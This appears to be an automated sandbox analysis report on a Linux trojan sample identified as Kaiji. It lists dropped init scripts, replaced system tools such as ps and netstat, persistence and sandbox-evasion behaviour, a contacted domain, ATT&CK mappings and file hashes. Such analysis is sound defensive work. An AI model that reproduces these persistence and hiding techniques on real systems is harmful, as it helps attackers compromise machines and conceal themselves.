Source: /usr/sbin/service (PID: 5959)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active multi-user.target	Jump to behavior
Source: /usr/sbin/service (PID: 5961)	Systemctl executable: /usr/bin/systemctl -> systemctl list-unit-files --full --type=socket	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5988)	Systemctl executable: /usr/bin/systemctl -> systemctl start crond.service	Jump to behavior

Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/opt.services.cfg (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/32676 (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /boot/System.mod (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/profile.d/bash_cfg (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/lib/libgdi.so.0.8.1 (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/lib/system-mark (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/include/ps (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/include/ss (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/include/ls (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/include/dir (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/include/netstat (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/include/find (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/include/lsof (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/ps (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/ss (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/ls (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/dir (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/netstat (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/find (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /usr/bin/lsof (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/32676	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /.mod	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/acpid	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/alsa-utils	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/anacron	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/apparmor	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/apport	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/avahi-daemon	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/binfmt-support	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/bluetooth	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/cron	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/cryptdisks	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/cryptdisks-early	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/cups	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/cups-browsed	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/dbus	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/gdm3	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/hddtemp	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/irqbalance	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/iscsid	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/kmod	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/lightdm	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/lm-sensors	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/lvm2-lvmpolld	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/mono-xsp4	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/multipath-tools	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/open-iscsi	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/open-vm-tools	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/plymouth	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/plymouth-log	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/procps	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/rsync	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/rsyslog	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/saned	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/screen-cleanup	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/spice-vdagent	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/ssh	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/udev	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/ufw	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/unattended-upgrades	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/uuidd	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Writes shell script file to disk with an unusual file extension: /etc/init.d/x11-common	Jump to dropped file

Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Shell script file created: /etc/profile.d/bash_cfg.sh	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Shell script file created: /etc/init.d/console-setup.sh	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Shell script file created: /etc/init.d/hwclock.sh	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Shell script file created: /etc/init.d/keyboard-setup.sh	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Shell script file created: /etc/profile.d/gateway.sh	Jump to dropped file

Source: /usr/sbin/service (PID: 5878)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p			Jump to behavior
Source: /usr/sbin/service (PID: 5962)	Sed executable: /usr/bin/sed -> sed -ne s/\\.socket\\s[a-z]\\s*$/.socket/p			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/acpid	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/alsa-utils	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/anacron	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/apparmor	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/apport	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/avahi-daemon	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/binfmt-support	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/bluetooth	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/console-setup.sh	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/cron	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/cryptdisks	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/cryptdisks-early	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/cups	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/cups-browsed	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/dbus	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/gdm3	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/hddtemp	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/hwclock.sh	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/irqbalance	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/iscsid	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/keyboard-setup.sh	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/kmod	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/lightdm	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/lm-sensors	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/lvm2-lvmpolld	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/mono-xsp4	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/multipath-tools	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/open-iscsi	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/open-vm-tools	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/plymouth	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/plymouth-log	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/procps	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/rsync	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/rsyslog	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/saned	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/screen-cleanup	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/spice-vdagent	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/ssh	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/udev	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/ufw	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/unattended-upgrades	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/uuidd	Jump to dropped file
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/init.d/x11-common	Jump to dropped file

Source: /etc/32676 (PID: 5873)	Sleep executable: /usr/bin/sleep -> sleep 60	Jump to behavior
Source: /etc/32676 (PID: 6069)	Sleep executable: /usr/bin/sleep -> sleep 60	Jump to behavior
Source: /etc/32676 (PID: 6130)	Sleep executable: /usr/bin/sleep -> sleep 60	Jump to behavior

Source: /usr/bin/sleep (PID: 5873)	Sleeps longer then 60s: 60.0s	Jump to behavior
Source: /usr/bin/sleep (PID: 6069)	Sleeps longer then 60s: 60.0s	Jump to behavior
Source: /usr/bin/sleep (PID: 6130)	Sleeps longer then 60s: 60.0s	Jump to behavior
Source: /usr/sbin/cron (PID: 5974)	Sleeps longer then 60s: 60.0s	Jump to behavior
Source: /usr/sbin/cron (PID: 6051)	Sleeps longer then 60s: 60.0s	Jump to behavior
Source: /usr/sbin/cron (PID: 6051)	Sleeps longer then 60s: 60.0s	Jump to behavior

Source: /tmp/c4RvDuLtq1.elf (PID: 5843)	Queries kernel information via 'uname':	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Queries kernel information via 'uname':	Jump to behavior
Source: /bin/bash (PID: 5864)	Queries kernel information via 'uname':	Jump to behavior
Source: /etc/32676 (PID: 5869)	Queries kernel information via 'uname':	Jump to behavior
Source: /bin/bash (PID: 5879)	Queries kernel information via 'uname':	Jump to behavior
Source: /bin/bash (PID: 5909)	Queries kernel information via 'uname':	Jump to behavior
Source: /bin/bash (PID: 5917)	Queries kernel information via 'uname':	Jump to behavior
Source: /.mod (PID: 6032)	Queries kernel information via 'uname':	Jump to behavior
Source: /.mod (PID: 6093)	Queries kernel information via 'uname':	Jump to behavior

Source: open-vm-tools.14.dr	Binary or memory string: # Check if we're running inside VMWare
Source: open-vm-tools.14.dr	Binary or memory string: start-stop-daemon --start --quiet --pidfile /var/run/vmtoolsd.pid --exec /usr/bin/vmtoolsd --test > /dev/null \|\| exit 1
Source: open-vm-tools.14.dr	Binary or memory string: if ! ${checktool} \| grep -iq vmware; then
Source: c4RvDuLtq1.elf, 5843.1.00007fff6b8b7000.00007fff6b8d8000.rw-.sdmp	Binary or memory string: ]Bx86_64/usr/bin/qemu-arm/tmp/c4RvDuLtq1.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/c4RvDuLtq1.elf
Source: open-vm-tools.14.dr	Binary or memory string: rm -f /var/run/vmtoolsd.pid
Source: c4RvDuLtq1.elf, 5843.1.00005580e5cbc000.00005580e62ed000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: open-vm-tools.14.dr	Binary or memory string: checktool='vmware-checkvm'
Source: open-vm-tools.14.dr	Binary or memory string: start-stop-daemon --stop --quiet --retry=TERM/30/KILL/5 --pidfile /var/run/vmtoolsd.pid --exec /usr/bin/vmtoolsd
Source: c4RvDuLtq1.elf, 5843.1.00005580e5cbc000.00005580e62ed000.rw-.sdmp	Binary or memory string: Urg.qemu.gdb.arm.sys.regs">
Source: open-vm-tools.14.dr	Binary or memory string: log_daemon_msg "Stopping open-vm guest daemon" "vmtoolsd"
Source: open-vm-tools.14.dr	Binary or memory string: echo "open-vm-tools: not starting as this is not a VMware VM"
Source: c4RvDuLtq1.elf, 5843.1.00005580e5cbc000.00005580e62ed000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: c4RvDuLtq1.elf, 5843.1.00007fff6b8b7000.00007fff6b8d8000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: open-vm-tools.14.dr	Binary or memory string: start-stop-daemon --start --quiet --pidfile /var/run/vmtoolsd.pid --exec /usr/bin/vmtoolsd -- --background /var/run/vmtoolsd.pid \|\| exit 2
Source: open-vm-tools.14.dr	Binary or memory string: log_daemon_msg "Starting open-vm daemon" "vmtoolsd"
Source: c4RvDuLtq1.elf, 5843.1.00005580e5cbc000.00005580e62ed000.rw-.sdmp	Binary or memory string: rg.qemu.gdb.arm.sys.regs">
Source: open-vm-tools.14.dr	Binary or memory string: status_of_proc -p /var/run/vmtoolsd.pid /usr/bin/vmtoolsd vmtoolsd && exit 0 \|\| exit $?

Stealing of Sensitive Information

Yara detected Kaiji

Source: Yara match

File source: c4RvDuLtq1.elf, type: SAMPLE

Remote Access Functionality

Yara detected Kaiji

Source: Yara match

File source: c4RvDuLtq1.elf, type: SAMPLE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Unix Shell Configuration Modification	1 Unix Shell Configuration Modification	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	1 Data Manipulation
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Systemd Service	1 Systemd Service	1 Hide Artifacts	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Scripting	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File and Directory Permissions Modification	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Hidden Files and Directories	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
c4RvDuLtq1.elf	31%	Virustotal		Browse
c4RvDuLtq1.elf	39%	ReversingLabs	Linux.Trojan.Kaiji

Dropped Files

Source	Detection	Scanner
/.mod	0%	ReversingLabs
/etc/32676	0%	ReversingLabs
/etc/init.d/acpid	0%	ReversingLabs
/etc/init.d/alsa-utils	0%	ReversingLabs
/etc/init.d/anacron	0%	ReversingLabs
/etc/init.d/apparmor	0%	ReversingLabs
/etc/init.d/avahi-daemon	0%	ReversingLabs
/etc/init.d/binfmt-support	0%	ReversingLabs
/etc/init.d/bluetooth	0%	ReversingLabs
/etc/init.d/console-setup.sh	0%	ReversingLabs
/etc/init.d/cron	0%	ReversingLabs
/etc/init.d/cryptdisks	0%	ReversingLabs
/etc/init.d/cryptdisks-early	0%	ReversingLabs
/etc/init.d/cups	0%	ReversingLabs
/etc/init.d/cups-browsed	0%	ReversingLabs
/etc/init.d/dbus	0%	ReversingLabs
/etc/init.d/gdm3	0%	ReversingLabs
/etc/init.d/hddtemp	0%	ReversingLabs
/etc/init.d/hwclock.sh	0%	ReversingLabs
/etc/init.d/irqbalance	0%	ReversingLabs
/etc/init.d/iscsid	0%	ReversingLabs
/etc/init.d/keyboard-setup.sh	0%	ReversingLabs
/etc/init.d/kmod	0%	ReversingLabs
/etc/init.d/lightdm	0%	ReversingLabs
/etc/init.d/lm-sensors	0%	ReversingLabs
/etc/init.d/lvm2-lvmpolld	0%	ReversingLabs
/etc/init.d/mono-xsp4	0%	ReversingLabs
/etc/init.d/multipath-tools	0%	ReversingLabs
/etc/init.d/open-iscsi	0%	ReversingLabs
/etc/init.d/open-vm-tools	0%	ReversingLabs
/etc/init.d/plymouth	0%	ReversingLabs
/etc/init.d/plymouth-log	0%	ReversingLabs
/etc/init.d/procps	0%	ReversingLabs
/etc/init.d/rsync	0%	ReversingLabs
/etc/init.d/rsyslog	0%	ReversingLabs
/etc/init.d/saned	0%	ReversingLabs
/etc/init.d/screen-cleanup	0%	ReversingLabs
/etc/init.d/spice-vdagent	0%	ReversingLabs
/etc/init.d/ssh	0%	ReversingLabs
/etc/init.d/udev	0%	ReversingLabs
/etc/init.d/ufw	0%	ReversingLabs
/etc/init.d/unattended-upgrades	0%	ReversingLabs
/etc/init.d/uuidd	0%	ReversingLabs
/etc/init.d/x11-common	0%	ReversingLabs
/etc/profile.d/bash_cfg.sh	0%	ReversingLabs

Domains

Source	Detection	Scanner	Label	Link
www.google.com	0%	Virustotal		Browse

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.google.com	216.58.212.132	true	false	0%, Virustotal, Browse	unknown
ss.us-tv.top	unknown	unknown	false		unknown

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.google.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	142.250.186.36
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.186.100
	http://168.63.129.16:32526/vmSettings	Get hash	malicious	Unknown	Browse	142.250.185.228
	https://dareka4te.shop	Get hash	malicious	Unknown	Browse	142.250.186.132
	http://www.thexe.afatydfe.com/	Get hash	malicious	Unknown	Browse	142.250.185.132
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	142.250.186.132
	cPds84vxfC.exe	Get hash	malicious	LummaC, AveMaria, LummaC Stealer, UACMe	Browse	142.250.80.100
	https://predictiveanalyticsgroup.formstack.com/forms/i_am_not_a_robot	Get hash	malicious	Unknown	Browse	216.58.206.36
	SecureMessageATT.html	Get hash	malicious	HTMLPhisher	Browse	142.250.186.132
	Txwd 4063517991 djxjdlxmbk.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	142.250.185.196

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
/.mod	linux_arm5.elf	Get hash	malicious	Kaiji	Browse
	linux_aarch64.elf	Get hash	malicious	Kaiji	Browse
	linux_amd64.elf	Get hash	malicious	Kaiji	Browse
	linux_arm7.elf	Get hash	malicious	Kaiji	Browse
	linux_arm6.elf	Get hash	malicious	Kaiji	Browse
	DerI9qwTwK.elf	Get hash	malicious	Kaiji	Browse
	wqX9qtzKkX.elf	Get hash	malicious	Kaiji	Browse
	QHoi0jjr6w.elf	Get hash	malicious	Kaiji	Browse
	YuOs10eAlB.elf	Get hash	malicious	Kaiji	Browse
	kJSH0hpzUR.elf	Get hash	malicious	Kaiji	Browse
/etc/32676	linux_arm5.elf	Get hash	malicious	Kaiji	Browse
	linux_aarch64.elf	Get hash	malicious	Kaiji	Browse
	linux_amd64.elf	Get hash	malicious	Kaiji	Browse
	linux_arm7.elf	Get hash	malicious	Kaiji	Browse
	linux_arm6.elf	Get hash	malicious	Kaiji	Browse
	DerI9qwTwK.elf	Get hash	malicious	Kaiji	Browse
	p2GrGlDHjw.elf	Get hash	malicious	Kaiji	Browse
	mJWouOfZLy.elf	Get hash	malicious	Kaiji	Browse
	OUcCqCsimA.elf	Get hash	malicious	Kaiji	Browse
	ZcDEk7Z0aN.elf	Get hash	malicious	Kaiji	Browse

Created / dropped Files

/.mod

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	Bourne-Again shell script, ASCII text executable
Category:	dropped
Size (bytes):	36
Entropy (8bit):	3.9931325576478587
Encrypted:	false
SSDEEP:	3:TKH/LQP5o:8M2
MD5:	FF0DB01AA3465358D28FD34FE8479236
SHA1:	DBE00D4EAD9F9FE3D8B97CBDCA1F2EFD5EF86EEF
SHA-256:	BF659AA5C483CF60E1E7626EEC9FAE7AE182CC611A3F42B2521F8A8C018C7195
SHA-512:	F414CE5B5A10DD25EA22CA123473604445411E056F4310DFE1C09AECE6B16CB5AD8B989070201594025A6DBE319FE87A871E63209E977EE185EF302689F048B2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: linux_arm5.elf, Detection: malicious, Browse Filename: linux_aarch64.elf, Detection: malicious, Browse Filename: linux_amd64.elf, Detection: malicious, Browse Filename: linux_arm7.elf, Detection: malicious, Browse Filename: linux_arm6.elf, Detection: malicious, Browse Filename: DerI9qwTwK.elf, Detection: malicious, Browse Filename: wqX9qtzKkX.elf, Detection: malicious, Browse Filename: QHoi0jjr6w.elf, Detection: malicious, Browse Filename: YuOs10eAlB.elf, Detection: malicious, Browse Filename: kJSH0hpzUR.elf, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	#!/bin/bash./usr/lib/libgdi.so.0.8.1

/etc/.walk

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	147
Entropy (8bit):	3.8860950217199104
Encrypted:	false
SSDEEP:	3:3Rk4WtwyIZAm3+B4WtwyIZAm3C2TLQdHjhOdQBHXWcMn:hRtZb+qtZbC2MdHjcy3Wxn
MD5:	DCBD5AB0924EA061EDBCBCB0B86D9118
SHA1:	4FB25B68FED77641481837ADE3F748EAE105B7B6
SHA-256:	400D406BA02FB1AC25793EE8BACFD8E83805FA4994352CEAAC28C315D054D334
SHA-512:	D98036D336EA326909FFFB869112737D040AE6E3EC9B907DDE0875A4F58C1DABB577FB12C6CE6037E1C92CB98343425D8B64D308017343B5FC6767912B403F52
Malicious:	false
Reputation:	low
Preview:	e74ed74ec65f017ed1638a49c1350a23fc5ddc14dc2c797a.e74ed74ec65f017ed1638a49c1350a23fc5ddc14dc2c797a.e464ed5cf25f2831d065cf4dc1350d7ee85d8a5fc939277a.

/etc/32676

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	Bourne-Again shell script, ASCII text executable
Category:	dropped
Size (bytes):	63
Entropy (8bit):	4.619727741986734
Encrypted:	false
SSDEEP:	3:TKH/zOsUF4K0WJTD0HXD:LsUF4kDYXD
MD5:	6CB66DDA6E7B14F42654921B3EC25226
SHA1:	B39354C512D130E1C52E9163DC12C4D5704A60A7
SHA-256:	45A2B263B893B33C703B7E5F64F04DE776D1DC9578BE65C5047195CD531FEF2A
